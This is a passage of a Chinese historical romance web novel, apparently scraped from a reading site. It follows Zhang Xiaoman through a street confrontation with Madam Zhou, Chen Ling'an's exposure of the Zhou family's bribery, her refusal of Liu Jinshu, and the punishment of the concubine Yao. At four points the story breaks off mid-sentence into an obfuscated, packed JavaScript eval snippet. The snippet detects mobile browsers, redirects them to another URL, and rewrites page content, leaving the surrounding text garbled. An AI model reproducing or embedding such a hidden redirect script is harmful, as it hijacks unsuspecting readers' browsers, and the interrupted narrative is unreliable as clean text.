周家的事张文有所耳闻,自是不想淌浑水的,却也不愿叫人说他凉薄,非但没有起疑,反而夸姚姨娘考虑周全,做事稳妥。 无形中又增加了对蒋夫人的不满。 眼看五月将至,这五月又称“毒月”,蝇蚊毒虫蠢蠢欲动,佩戴驱五毒香囊的人逐渐多了。 张小满也学着做香囊,费了三四天的功夫,作废好几个,总算做出个能拿得出手的香囊。 “青缎绣竹报平安,这个寓意蛮好。”锦绣笑嘻嘻捧场,“过会子去刘家送礼,姑娘正好把这个送给刘公子,君子如竹,他一定会很高兴。” 张小满一怔,“我没打算给他。” 锦绣小脸皱成一团,“不给他给谁,太太特意交代姑娘跟她一起去刘家,这意思还不明显吗?” 张小满只觉头大如斗,哀叹一声倒在塌上。 再不情不愿,也得听从母命,乖乖梳洗打扮,上轿出门。 明明是骄阳炽热的节气,这日的天色却不大好,灰白的云层压得低低的,河面上似烟似雾的水气袅袅起落飘游,给沿河一带的白墙黑瓦蒙上一层面纱,显得苍白又幽暗。 柞木轿杠“嘎吱嘎吱”地响,轿中的张小满无聊地打了个哈欠,已是昏昏欲睡。 一声悲切的哭号蓦地响起,与此同时,小轿猛地一顿,停住了。 “小满姑娘开恩!”陌生的妇人声音大声哭喊,“饶过我家老爷吧,什么仇什么怨都是我的错,求你开恩呐!” 张小满愕然,刚掀开轿帘欲看究竟,就听嫡母怒喝道:“周太太,你得了失心疯了!你家老爷被抓和我们有什么关系?好歹是个官太太,倒三不着两,没的犯嫌。” 周太太掩面哭道:“人都要死了,我还要这脸做什么?小满姑娘,我家老爷只剩口气在,我家小子也吓病了,什么仇什么怨也该出气了。你行行好,放过我们家,我给你立长生牌。” 张小满越听越糊涂,忍不住出声询问:“周太太,你说的话我怎么一句也听不懂?” 渐渐有路人聚集过来,而且拐个弯儿就是刘宅,蒋夫人马上明白了周太太的用意,火气蹭的一下蹿上了脑门子,“理她作甚,来人,把她拉开!” 周太太瘫坐在地,扯着嗓子长一声短一声地喊饶命。 她毕竟是有品阶的夫人,下人不好动粗,劝又劝不动,一个个立在旁边面面相觑。 蒋夫人看了愈加恼火,厉声喝道:“都是聋子不成?再不动手,全打发了!” 下人们只能硬着头皮上前拉周太太起身。 周太太心一横,索性跪下,抢天呼地哀号不止。 围观人群指指点点,不乏有同情的目光落在周太太身上,窃窃私语中,尽是对权贵仗势欺人的愤慨。 蒋夫人有些发慌了。 张小满深吸口气,下轿走到事主儿面前,“周太太,你总得说清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901251|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么事。” 果然奏效了!周太太猛地甩开扶她胳膊的人,“我家老爷被陈令安抓进诏狱,好姑娘,你去和陈令安说,只要他把人放了,你就是我们全家的恩人!” 张小满真是好气又好笑,怼她的话冲到嘴边,却是一顿,说:“不知周老爷的罪名是……如果是欺君罔上谋逆不轨,我可不敢开口。” “不是不是。”周太太急急否认,看向张小满的眼神不由带上怨怼,“姑娘莫要揣着明白装糊涂了,陈令安就是为了替你出气,才抓了我家老爷。” 人群一片哗然。 “满嘴胡吣!”蒋夫人又急又恼,又恨她往小满身上泼脏水,“陈令安何许人也,她一个小姑娘,能左右得了陈令安?” 围观的人越多,周太太的气势越盛,“怎么不能?平阳侯府四时宴,陈令安要抓刘瑾书,千钧一发之际,就是张小满拦下了陈令安。” 事情传来传去竟传成这个样子!如果大家信以为真,以后都找小满通融,岂不是把她架起来了?蒋夫人警铃大作,待要说话,不妨张小满冲她微微摇了摇头。 “既是为我出气,你倒说说看,你家是如何得罪我的?” 周太太一下卡了壳,支支吾吾半天吐不出一个字。 张小满的胳膊肘轻轻碰了下旁边的锦绣。 锦绣从怔楞中回过神,撩起袖子上前大声道:“先是巴巴地求娶我家姑娘,后来不知攀上谁家高枝,相看当天说不来就不来,连句道歉的话都没有,还到处坏我家姑娘的名声!” “你儿子偷听我和姑娘的悄悄话,疯狗一样辱骂我们姑娘,那些话说出来都脏我的嘴!” 轰一声,人们大笑起来,有的还扯着嗓子喊:“真是犯贱,一定弄得人家找上门,这不是活该嘛?” 周太太想辩白却无从分辩,一张老脸顿时涨成了猪肝色,身形也委顿了,气势消减大半。 到底不甘心,她咬咬牙,居然跪下了! “我给你跪下啦,千错万错都是我的错,什么仇什么怨你都冲我来,千万别牵扯无辜啊,求你,求求你!” 说着,作势要磕头。 张小满侧过身,不扶她也不受她的跪,却不打算就此放过她。 “周太太,锦衣卫的主人是谁,你比我更清楚,谁能让锦衣卫乖乖听话,大家心里都明白。” 张小满摆出一脸的诚惶诚恐,“你口口声声说我能支使得了锦衣卫,这样大不敬的话,你敢说,我不敢认。” 好个刁钻丫头,乱扣帽子倒有一手! 周太太暗恨,面上却不能显现出来,悲悲切切哭道:“是我一时情急说错了话……” “况且刘公子也不是我救下的。”张小满根本不给她解释的机会。 “人家本来立身就正,不过有点子误会罢了,当时刘老爷就和陈令安解释清楚了。这事赴宴的人都可以作证,我记得周太太那天也在场,按说你知道的呀。” “早就清楚还乱攀扯人,可见心中着实有鬼,恶人先告状!”有人高声笑道,看客们也随之起哄不止。 蒋夫人冷笑着一语道破,“你不敢求陈令安,就跑过来拦我家的轿子,不说好言好语相求,却把脏水往我闺女头上泼。哼,你就是打心眼里看不起她,擎等着她反过来给你赔不是!见过不要脸的,没见过你这么不要脸的。” 人们议论纷纷,方才对周太太的同情全然不见了 方才在人群中高喊的人望向刘家的方向,得到示意后,悄悄退了出去。 风拂过,街巷拐角,玉色的长袍水纹一样荡漾开来,刘瑾书微微笑着,待要举步迎她二人,彻底帮张小满解决这个隐患时,却见一抹大红色出现在街巷那头。 陈令安来了。 13. 第 13 章 不知谁低低惊呼了声,人们停顿了一下,随后又潮水般后退,让出当中一条道来。 张小满惊讶地回头望去。 一抹红色身影慢慢从朦胧雨雾中显现,鲜明灿然,张扬肆意,晦暗的天色都要被这团火逼退。 他没有撑伞,手里摆弄着一把折扇,微微昂着头,带着一种懒洋洋又不乏冷傲的神色。那张脸固然俊美得无可挑剔,却让人生不出一丝亲近之意。 只有张小满不一样。 “你特意来找我?”她兴冲冲跑到他面前问。 “不是。”陈令安依旧否认,慢悠悠越过她,只看着吓傻的周太太,“正主儿在这,哭啊,喊啊,有什么冤屈说啊。” 周太太哪里还出得了声音! 哗一声,陈令安猛地打开折扇,惊得周太太浑身一颤,往后缩了又缩。 此时张小满的目光被那把折扇吸引住了,不由自主发出一声赞叹。 “第一次见?也是,三十六档象牙通雕花鸟山水折扇,牙片质薄如纸,通体镂空,大骨浮雕山水树木,小骨拉丝浅浮雕珍禽折枝花卉,皆以黄金上色,刀法老道,设计精妙,华丽却不媚俗。” 陈令安悠闲地摇摇扇子,“莫说你,就是宫廷上用,也找不出比这把更贵重的象牙扇。” “那得多少钱?”张小满脱口而出。 陈令安笑笑,伸出三个手指晃晃。 “三……百两?”有了前面青金石的震撼,张小满不敢说三十两,鼓起勇气往高里猜。 陈令安摇摇头。 张小满失声道:“不会是三千两吧!” 陈令安点点头。 围观人群一阵倒吸气。 “老天爷,三千两!一把扇子!” 张小满两眼瞪得溜圆,“我一辈子也挣不来三千两!好家伙三千两,都能把咱宣府王家湾方圆百里的地全买了。” 陈令安慢慢合拢折扇,颇多感慨叹道:“庄户人辛辛苦苦一辈子,也不过勉强糊口,宽裕点的,至多攒个二十几两。” “便是这富贵窝子应天府,殷实人家能有个几百两的家私,就算烧高香了。” “可这样的扇子,周家轻轻松松就拿出四把!” 惊呼声此起彼伏,这时人们眼中不仅没了同情,还添了不少的痛恨。 陈令安继续道:“二月十六送次辅陈绍,以期在京察时列个上等,升任外省实权肥差。周太太,我可有说错?” 周太太委顿在地,头也不敢抬。 张小满听了却是心头一动,二月十六,那不就是周家摆她一道那几天吗?原来真是抱上了大粗腿! 陈令安轻轻笑了声。 “另有营私舞弊、贪墨放贷诸般大罪,明明是个搜刮民脂民膏的大贪官,怎么反叫起冤枉来?” “印子钱,转子钱,青苗钱,虚钱实契,放高炮都被你们放出花儿来了!在你们眼里,老百姓不过蝼蚁,只要能保住你们的权势,他们的死活又算得了什么?” 看热闹的人们大多是普通老百姓,或多或少都受过当官的欺压,一听这话立时感同身受起来。 真是穷苦百姓说贪官,听取骂声一片! 周太太脸上血色褪得一干二净,压根不敢分辩,只膝行上前哀声求饶,“饶过我们这一遭,以后再也不敢了。” 陈令安冷冷道:“只消哭一哭,跪一跪,就能把做过的事一笔勾销,天底下哪有这样的便宜事?” 周太太再也挨不住,两眼一闭,身子软软向地上倒去。 角落里出现两个婆子,畏畏缩缩往这边走。 陈令安眼光一闪,低低对周太太道:“既然你如此记挂你丈夫,不如去诏狱陪着他吧。” 周太太吓醒了,“不、不,求求大人……” 陈令安不怀好意一笑,忽提高声音,“周太太爱夫心切,自愿入诏狱照料周大人,本官当然要成全她。” 周太太“呃”的发出怪声,两眼一翻直直后仰——这回是真的晕了。 锦衣卫从不说空话,立时有身着便衣的校尉从人群中闪出来,拖起昏死的周太太便走。 那两个婆子对视一眼,哆哆嗦嗦回家报信去了。 热闹没的看,加之陈令安名声在外,人们到底有几分惧怕,交头接耳一阵,便三三两两的散了。 纵然蒋夫人一个劲给张小满使眼色,她脸上的笑却怎么也压不下去,“我就说他是个好的,母亲,这回你总信了吧。” 蒋夫人含糊两声,打算带小满离开眼前这个是非人。 然而是非人偏偏站在她前面不动地儿,还微微一躬身道了声,“蒋姑姑好,多年不见,小侄给姑姑请安。” 他竟是个自来熟?蒋夫人疏离一笑,“这可不敢当。” “我爹爹曾在蒋先生门下求学,十六年前,爹爹调任国子监祭酒时,带着我和娘亲去府上问安。”陈令安声音很轻,好像怕惊扰到什么似的。 蒋夫人听他提起自己的父亲,一阵酸涩冲上鼻腔,眼中已有了泪意,点点头,算是打过招呼了。 “我记得那天姑姑正好回娘家,怀里抱着一个粉雕玉琢的胖娃娃,我还抱着他摘树上的石榴。”陈令安笑了起来,“小公子可真沉,压得我手都酸了,转天手都提不起笔,我娘还以为我偷懒不想练字。” 蒋夫人仔细回想片刻,好像是有这门回事,可小公子……她看看旁边雀跃不已的张小满,犹豫了下,没有说破。 “母亲,母亲,”张小满摇着蒋夫人的胳膊,眼睛往外放光,“你们是故交啊,算起来比我认识他还早好几年呢!” 想起陈年往事,蒋夫人的心软了几分,语气却不改先前的疏离,“太久远的事,想不起来了。”又笑,“那时陈大人不过四五岁,能记得什么?想必记错了也是有的。” 张小满惊讶极了,看母亲的神色,明明是有印象的,为什么装作忘了? 陈令安不以为意笑了笑,“或许吧。” 张小满看了,心里立时五味杂陈,若是她,一定难过得掉泪,陈令安却没露出丁点伤心的神色。若说他冷硬无情不在乎,她是决然不信的。 只能是因为这样的事经常发生,经得多了,人也疲了,不得不看开。 “今儿你又帮了我一次。”她数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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雨丝就像用细筛子筛过似的,飘飘摇摇均匀地洒向大地,化作雾蒙蒙的湿气笼在他身子周围,红色的衣角在微风中悠来荡去。 他向这边望着,没什么表情,面孔美丽而苍白。 张小满放下轿帘,只觉心情也和这天气一样了。 轿子吱吱呀呀响着消失在街巷拐角,陈令安还站在原地,忠实的跟班吴勇小跑过来,把伞遮在上司头顶,喋喋不休,“大人放心,我们已经撬开了姓周的嘴,刘家蹦跶不了几天,再用些功夫,咱们准能把阁老拉下马!” “哼!”陈令安猛地呼喝一声,怒气十足,怨气冲天,满满的不甘,惊得吴勇差点咬到自己的舌头。 “去买双厚底靴子。” 吴勇低头去瞧上司的皂靴,“大人靴子坏了?” “没,记住要厚底的,至少比我脚上这双厚出一寸。” 垫那么高穿着不舒服啊。 吴勇张张嘴,瞧见上峰满脸郁气,还是把嘴闭上了。 陈令安都走出去好几步了,又回身叮嘱一句:“告诉鞋匠,靴子外面要看不出来,别穿上跟踩高跷似的。” 吴勇顶着一脑袋雾水点点头。 可到底为啥呀!!! 14. 第 14 章 雨比刚才小了点,密密地斜织着,刘家的园子全笼上一层薄烟,荷花池上雾气缭绕,翠绿的荷叶影影绰绰、恍恍惚惚,张小满瞧着,总有种不真实的虚幻感。 两位太太在花厅说话,打发刘瑾书带她到园子逛逛。 两人沿游廊慢慢地走着,刘瑾书温声解说,“我家园子仿苏州园林建造的,雨中看也别有一番风味,你看这里……” 张小满心不在焉地轻声附和,满脑子都是陈令安那抹孤独的身影,一会儿就不知道刘瑾书在说些什么了。 “你是不是喜欢陈令安?” 突如其来的问话,张小满一时没反应过来,“你说什么?” “我想知道你对陈令安的感情,”刘瑾书垂眸看过来,神情认真,“希望你能说实话。” 张小满有点不知所措,嫡母和锦绣也问过她同样的问题,那时候她毫不犹豫说出了答案,可现在,她居然迟疑了! 游廊旁的栀子花丛在微风中轻轻摇曳,雨势逐渐减弱,天光却更加晦暗。 凉沁沁的雨珠飘落在张小满热乎乎的脸上,她慢慢冷静下来。 刘瑾书这样问无疑是唐突的,可两家都有意促成他们的亲事,作为相亲对象,刘瑾书疑惑她和别的男子的关系也在情理之中。 然而算上今天,他们只见过三次面,她还真不好意思和他谈论少女心事。 沉吟片刻,张小满坦然迎着刘瑾书的目光,反问说:“你是不是喜欢我?” 刘瑾书没想到她如此大胆,不过须臾的功夫,白净的脸皮泛红了。 不等他说话,张小满第二问又紧跟上来,“我一直很纳闷,你怎么会相中我?” 刘瑾书琢磨了会儿谨慎答道:“你……活泼大方,秀外慧中,两家家世也匹配,又是亲上加亲……” “快别说这些虚头巴脑的空话,”张小满笑着打断,“希望你能说实话!” 同样的话,一字不差还了回来。 刘瑾书愣怔了下,旋即笑出了声,“是啊,你的相貌马马虎虎,礼仪马马虎虎,琴棋书画更是提都不要提,怎么看也和大家闺秀挨不上边。” 说是要听实话,可天底下实话最扎心,饶是张小满心胸豁达,笑容也不禁勉强了。 “若说娘家的重视……和亲人分别十五年之久,没有朝夕相处的情分,端看四姑娘突然出现在四时宴上这事,就知道府上待你不过尔尔。况且张大人是寒门贵子,根基薄弱,虽是二品尚书,却在朝中大事上说不上话。” “若是结亲,好处都是张家的,于刘家并无助力。”刘瑾书偏着头仔细看着张小满,“这样一个平平无奇,还与我的死对头有纠葛的小女子,我看上她哪点了呢?” 这回轮到张小满脸红了,她不自然地扭转身子,躲开了对面的视线。 “是个活人。”刘瑾书低低道。 张小满失笑:“这算哪门子优点,谁还不是个活人了?” 显然不相信他给出的理由。 刘瑾书看着那张烂漫的笑脸,嘴角也翘了起来。 世家大族规矩森严,左一个贤淑谨顺,右一个才德容止,连步子大小都做了严格限定,作弄得闺阁绣女都像一个模子里出来的。 纵有生来娇憨灵动的,也在天长日久的规训中被磨去棱角,失去灵气,从璞玉变成死气沉沉的石头。 简直叫人扼腕叹息! 虽说世情如此,这样的女子也着实符合高门大户的主母标准。 他不讨厌,可也不喜欢。 大概这就叫做“意难平”…… 一打岔,方才的话题便不好再提起,笑声过去,两人一时又没了话说。 雨渐停歇,微风刮过,树上积存的雨水滚珠似般落下。 游廊已经走到头了,穿堂过去就是花厅,张小满迈过门槛时,说了声“抱歉”。 刘瑾书脚步微顿,摇头苦笑,“没想到我也有被女孩子拒绝的一天。” 张小满回头一笑,“滋味如何?” 刘瑾书叹了声,堆出伤心的表情。 “别装了。”张小满哈哈大笑起来,“我知道你根本没放心上!你没见过我这样满身土腥味的姑娘,一时新鲜而已,不长久的。你是谪仙般的人物,只有大家族精心养出来的,惊才绝艳的姑娘才适合你。” 刘瑾书又是一怔,望着她的背影,脸上的伤心倒有几分像真的了。 花厅里,谈笑声正浓,张小满和刘瑾书一前一后的进门,沉默着各自坐下,也没有一丁点的眼神交流。 笑声渐歇,秦夫人疑惑地看向自己的儿子。 刘瑾书摇摇头。 秦夫人面色一沉,笑容也淡了,端起茶杯道:“过会子还要给侯府送节礼,就不留你们吃饭了。” 刘瑾书没想到母亲如此直截了当,想阻止已来不及了,只得随着蒋氏母女起身,“我送姨母。” 蒋夫人一头雾水出来,拉着张小满上了她的轿子——好在这顶轿子宽敞,坐两个人也不挤。 张小满没敢隐瞒,把自己拒绝刘瑾书的事原原本本交代了。 “你……”蒋夫人简直不知道说什么好,又气她不听话,又心疼她太通透,末了在她后背不轻不重一拍,长叹一声,“算了,强扭的瓜不甜,只盼你日后不要后悔。” 张小满偎着蒋夫人,轻轻摇晃她的胳膊,“我不要人前显贵,人后受罪,我要的是两心相知,情投意合。” “随你,都随你,只一条,不准再和陈令安往来。”大概知道自己说了也白说,蒋夫人随即揭过这篇,琢磨起周太太的事来,“她好像知道咱们今天要去刘家,特意在这里等着似的。” 小满也觉得奇怪,“一冲出来就喊我的名字,我都没有露脸!” 定是有人给她通风报信。 蒋夫人立刻猜到姚姨娘身上,咬牙恨恨道:“准是姚舜秀,前天我没见周太太,她倒趁机卖好,请到门房里喝茶,两人嘀嘀咕咕好一阵,准没憋好屁!看我回去不收拾她。” 小满劝道:“闹的动静这么大,家里肯定早得了信儿,虽说老爷偏疼姚姨娘,可老太太的威严体面,还是要维护的。” 老太太曾发话,让姚姨娘静心抄写经书,不准出院子。结果话还没凉呢,她就颠颠儿地瞎掺和,暗搓搓地使坏。 也太不把老太太当回事了。 “况且,”小满眼中划过一丝狡黠的光,“刘家的亲事黄了,焉知不是受了此事的影响?” 蒋夫人一怔,“可是……” 小满笑笑,“他们还能找刘家对质?那也太丢份了。我们不能太实诚,对付小人,君子之道是行不通的。” 姚姨娘母女一而再,再而三算计她,这次还把陈令安牵扯进来。本来是抓贪官为民除害,差点让她们污蔑成以权谋私泄私仇了! 人们本就对陈令安偏见至深,假如这回让她们给坐实污名,以后的处境会愈发艰难。 一想到人们对他指指点点的情形,小满胸口就闷痛闷痛的。 她重重吐出心中郁气,眼神罕见地染上冷意,“母亲,你千万不要出头,老爷总爱和你对着干,你越要惩治姚姨娘,他越是护着,还不如交给老太太办。” 蒋夫人觉得不妥,“老太太一向不大管事,在家也住不长久,就算出手管教姚姨娘,等她一走,还不是外甥打灯笼——照旧!” 小满笑笑,“她会管的。” 蒋夫人不大相信,但看小满一副成竹在胸的样子,便把到嘴边的话又咽回去了。 老太太出手,于她自是意外之喜,不管,她也没损失,只是又要落得老太太几句“管家不善”的抱怨。 蒋夫人长长叹出口气,忽然觉得这样的日子好没意思。 - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901253|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们预想的没错,张文窝了一肚子火赶回家。 “又在大庭广众之下与人争执,哪里像书香门第的太太姑娘?我张家的脸都被她们丢尽了!” 对蒋氏更是不满,“就是看中她大家出身的背景才娶她,原想着教养差不到哪儿去,结果也是个肤浅粗鲁的,真是娶妻不贤毁三代。” 姚姨娘忧心忡忡,“本来外面就谣传周大人入狱与咱家有关,这下周太太也受她们连累进去了,如果陈阁老认为老爷和陈令安私交笃深,老爷必会被针对排挤。莫说再进一步,只怕现在的尚书也保不住,老爷,不能再观望了呀。” 张文一根根捻着颌下美髯。 首辅杨东行告病多日,大家嘴上不说,其实心里都知道他根本没病,是被陈绍逼得不得不“病”。 按目前的形势看,陈绍登上首辅的位子指日可待,他和陈令安又是不死不休的关系,且这叔侄俩都是不能容忍摇摆不定的人。 姚氏说得对,是时候下决断了。 张文深吸口气,铁青着脸刚要唤下人,就见孙姨娘低头进来,屈膝一礼,“老爷,太太回来了,老太太让你和姚姨娘去松鹤堂说话。” 张文问什么事,孙姨娘低声回话,“好像是刘家的亲事不算数了……妾也是突然被叫来传话的,只听了一耳朵,没敢细听。” 听到第一句话时,姚姨娘眼睛一亮,却仍故作焦虑万分,“把刘家也得罪了,万一陈阁老为难你,连个说情的人也没有,这可怎么是好。三姑娘真是的,总和那个煞星纠缠不清,唉,太太一味纵容,也不管着点。” 又是扇风又是加柴的,张文的火气一下子冲到脑袋顶。 孙姨娘嚅动下嘴唇,似乎想说些什么,小心覷了姚姨娘一眼,又忍下了。 张文怒气冲冲赶到松鹤堂,边老太太坐在靠北墙八仙桌右边,面色很是难看,下首是蒋氏,也是一脸的愁容。 那个成天给他惹事生非的野丫头就站在蒋氏身旁,正低着头抹眼泪。 张文喝道:“你给我……” “你给我跪下!”边老太太猛地抄起茶杯扔向姚姨娘,惊得姚姨娘连连后退,激得边老太太怒火更胜,“你还敢躲?” 话音未落,她拿起蒋氏手边的茶杯,兜头朝姚姨娘砸过去。 姚姨娘不敢躲了,好在老太太这一下准头不足,只泼了她一头一脸的水。 她略一犹豫才慢慢跪下,泣声道:“老太太,妾自问并无过错,不知何事惹得老太太大动肝火?妾受点委屈不算什么,老太太贵体为重,若是平白气坏身子,妾就是万死也难辞其咎啊!” 张文也丈二和尚摸不着头脑,在八仙桌左边坐下,摆出一家之主的威严,“怎么回事,好好的又有谁挑拨是非了?” 小满悄悄摁住了想说话的蒋氏。 “你问她!”边老太太怒气不减,“鼓动周太太当街拦轿,口口声声说陈令安抓周大人是为给三丫头泄愤,硬把咱家和陈令安绑在一起,偏巧又撞见了刘瑾书。刘家能不误会?能不和咱家撇清关系?好端端的亲事,就让她祸害没了!” 姚姨娘小声地哭,“冤枉,妾……” “门房都一五一十交代了,还想哄骗我?”边老太太砰砰地拍桌子。 “我说过不抄完佛经不许出院门,你这贱人扭脸就跑到大门口和周太太嘀嘀咕咕,合着我说话都是放屁?” 边老太太指着姚姨娘的鼻子骂,“蒋氏是世家贵女,我训斥她,她都不敢言语一声,交代的事更是无一不从。你算个什么腌臜东西,不过我儿的消遣玩意儿,还把自己当个人物了,也不撒泡尿照照,看自己配不配!” 自打进了张家的门,姚姨娘就没受过这样的辱骂,只觉全身的血都涌上脑袋,一张脸涨得通红,手心几乎要掐出血来。 却是死死咬着牙,不能有一个字的分辩。 15. 第 15 章 边老太太一贯注重颜面,言行必称规矩体统,像用这样低俗的词语咒骂还是头一次。 众人不免愕然。 张文从惊怔中醒过神,耐不住替爱妾分辩。 “母亲弄错了吧,分明是蒋氏和小满言行无状,当街辱骂外命妇。刘家看不上眼,又介意小满和陈令安的关系,才拒绝了咱家。怎的怨上姚氏了?” 边老太太冷笑,“是我错了,错在没养个好儿子!” 这话忒重,张文不得不站起来。 张小满微微低下头,她料定老太太必会生气,可没想到火气这么大,连儿子的体面都不给了。 委实出乎她的意料…… 一通发泄过后,老太太骂累了,停下喝口茶。 姚姨娘也有了动作,不时用眼睛余光望一望张文,欲说还休,哀婉凄然,白里透红的面孔满是泪水,仿若一颗水润过的珍珠。 勾得张文的心悠悠地颤! 他又求情,“姚氏与周太太见面我是知道的,周太太在门口哭闹喊冤,好像是我害了周大人似的。劝走她,姚氏就算无功,也不能有过啊。定是有人颠倒黑白,混淆是非,母亲切莫偏听偏信,冤枉了好人。” 说着,狠狠剐了蒋氏和张小满一眼。 这话夹枪带棍的,边老太太犹未说话,蒋夫人就按捺不住了,“老爷你太……” “老爷明鉴,”小满急急打断嫡母的话头,咚一声,直直跪在地砖上。 “周大人是行贿贪腐进去的——父亲身居高位,想必也清楚其中原委。周太太却把脏水往我和陈令安身上泼,陈令安不是我,手段多着呢,几句话下去,她自己就全交代了。” “说是姚姨娘给她出的主意:大庭广众之下一闹,我一个小姑娘脸皮薄耐不住,肯定会答应她的。” “胡说!”姚姨娘断然否认,“周太太是四品外命妇,我不过一个妾室,她能听我的?” 小满看也不看她一眼,只盯着张文说话,“周太太亲口所述,现在她人在诏狱,老爷若不信,带姚姨娘去诏狱与她一对质便知。” “诏狱”二字入耳,张文脸皮就是一僵。 不等他发话,小满淌着眼泪继续说:“只是这样也罢了,秦太太介意我和陈令安是旧识,刘瑾书倒还好,他还亲自把母亲和我迎进刘家。” 张文皱眉,“既如此,刘家为何拒亲?你又做了什么出格的事?” 小满心里不住冷笑,脸上却是讶然不已,“方才老太太已经说明白了呀!” 张文疑惑地看着母亲,边老太太冷哼一声,却没有解释——其实她也纳闷着,方才蒋氏明明说刘家误会张家和陈令安交好,才不愿与张家结亲,怎么又不是了? 小满:“那日周太太求见,母亲当时就明确回绝了的,老太太也有令在先,不准姚姨娘出院门。可姚姨娘置若罔闻,不回禀老太太就私自外出,一应下人居然听之从之。” “妻妾不分则家室乱,张大人是两榜进士,难道没读过《吕氏春秋》?——这是刘瑾书的原话,可不是我说的。” 张文气得脸色铁青,偏那刁钻丫头压根不抬头看他的脸色,一个劲地加柴添薪。 “还有更要命的,秦太太的原话:百善孝为先,张老爷只顾着宠溺小妾,惯得小妾连老太太都敢忤逆,可见在张老爷心中,孝道比不上淫/欲。” 张文脸憋得通红,五官都拧歪了,“放屁,秦太太怎会说这样的话,你少胡诌!” 蒋夫人立刻给孩子撑腰,“我一直和秦太太在一起,是真是假,我还能不知道?” 边老太太冷冷道:“我这个整日吃斋念佛的人都知道,自古以孝治天下,先帝还罢黜过事母不孝的官员。我要管教你的小妾,你却一心维护她,可将我这个老母亲放在眼里?” 张文一时语塞,喃喃道:“儿子是怕母亲被人蒙蔽……” 边老太太气笑了,“是是是,我们都是坏人,只有你那爱妾是好人。” 小满叹气,似有怨意,“秦太太还说,这事在世家简直难以想象!张家到底根基浅,纵然成了尚书府,也难改小家子气。张大人的能力也堪忧,连家事都理不顺,能应对错综复杂的朝局?一个不好,就会拖陈阁老和刘家的后腿。” 张文最挂心、最在意的就是他的仕途,一时间脸上是青白交加,毫无血色。 姚姨娘眼见不好,慌得膝行上前,抱住张文的腿哭道:“刘家本就看不上三姑娘,这门亲事作罢是早晚的事,与我何干?她们为逃避老爷的责骂,就把所有的过错推在我身上,我冤枉啊!” 小满反问:“她们?她们是谁?” “自然是你和……”姚姨娘猛地咬住话头。 小满笑了声,“妾室堂而皇之侮辱诽谤当家主母,怪不得秦太太瞧不上张家。拜姚姨娘所赐,有周太太这当街一闹,过不了几天,消息就会传遍京城,张家就成了全京城的笑柄啦。” “都给我闭嘴!”张文大喝一声,随即一巴掌扇倒姚姨娘,“贱人,坏我大事!” 红色的大手印子赫然在目,姚姨娘发髻凌乱,嘴角淌血,半边脸肿得老高。 蒋夫人倍感解气,可瞧着犹自傻愣愣发懵的姚姨娘,不知怎的,蓦地生出一种悲凉来。 因而当老太太问她如何处置姚姨娘时,她破天荒替姚姨娘求情了,“怎么说也是两个孩子的亲娘,不为她,也得为孩子给她留些颜面。” 边老太太欣慰地点点头,“这才是世家贵女的风度……姚氏,过完端午节,你就随我去庵堂住,茹素念经,好好为张家祈福。” 姚姨娘下意识去看张文,张文扭开脸,重重冷哼了声。 “……是。”姚姨娘的脊背终于塌了下来。 看屋里的人都没有二话,边老太太的脸色更和缓了,挥挥手命人把姚姨娘押走,“没我的话,不准她出屋子,若有违抗,家法伺候。我乏了,都下去吧,蒋氏留一下。” 蒋夫人静静等着老太太的吩咐。 边老太太呷口茶,停了片刻方开口,“这回我不打算带小五走,就交给你吧。” 蒋夫人笑道:“教养子女是我的本分,老太太放心,但凡孩子少了一两肉,你尽管找我。” 边老太太敷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15910827|176642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衍地笑笑,慢吞吞道:“这孩子都十四了……” 蒋夫人一怔,立时明白老太太的用意,“现在有点早,她上头还有两个姐姐呢,等及笄了再说亲也不迟。” “那太晚,若不提早定下,好儿郎就被人抢跑喽。” “听老太太的意思……莫非已经有了人选?” “我的确看好了一个。”边老太太那与张文相似的面孔上,露出和煦的笑容,“今年十六,与小五年岁相当,勋贵世家的嫡幼子,可惜不能继承爵位,好在人很上进,小小年纪就是金吾卫经历。” “他在家里很受宠,嫡长的哥哥还要让他几分,有父兄的提携,必定一路高升。而且家底厚实,不是眼皮子浅的那等人家,安懿就算带不了多少嫁妆,嫁过去也不会受委屈。” 蒋夫人越听越心惊,勋贵、幼子、十六岁、金吾卫经历……“难道是平阳侯府的小公子?”她惊得声音都发颤了。 